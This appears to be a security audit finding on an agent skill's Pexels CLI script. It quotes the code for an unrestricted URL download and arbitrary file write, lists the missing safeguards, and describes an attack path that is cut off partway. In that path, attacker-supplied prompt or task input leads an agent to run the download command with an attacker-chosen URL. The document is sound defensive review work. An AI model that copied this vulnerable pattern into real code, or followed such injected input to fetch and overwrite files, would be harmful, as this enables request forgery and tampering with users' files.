T09 · Insecure Skill Coding Practices
- Location
scripts/pexels.ts:108- Finding
Unrestricted URL Download and Arbitrary File Write in Pexels CLI
- Content
View full analysis
{ const resp = await fetch(url, { headers: { "User-Agent": "PexelsCLI/0.1" }, }); if (!resp.ok) { console.error(`Download failed - HTTP ${resp.status}`); process.exit(1); } const buf = await resp.arrayBuffer(); await Bun.write(output, new Uint8Array(buf)); console.error(`Downloaded: ${output}`); } ``` ```typescript async function download(flags: Record) { if (!flags["--url"]) { console.error("Error: --url is required"); process.exit(1); } if (!flags["--output"]) { console.error("Error: --output is required"); process.exit(1); } await downloadFile(flags["--url"], flags["--output"]); } ``` ### Technical Analysis The public `download` command passes attacker-controlled `--url` and `--output` values directly to `fetch()` and `Bun.write()`. The implementation does not: - Require HTTPS. - Restrict downloads to Pexels-controlled media hosts. - Block loopback, private, link-local, or cloud metadata addresses. - validate redirect destinations. - Restrict output to an approved workspace directory. - Prevent writes through symbolic links. - Prevent replacement of existing sensitive files. - Enforce response-size, timeout, or disk-consumption limits. This behavior exceeds the minimum privileges required for downloading Pexels assets. Although the command is described as a Pexels downloader, it functions as a general-purpose network retrieval and file-write primitive. ### Attack Path 1. An attacker supplies a crafted media URL through a prompt, task description, or untrusted workflow input. 2. The agent invokes: `bun ./scripts/pexels.ts download --url "ATTACKER_SELECTED_UR ...[truncated 1210 chars]- Remediation
View remediation
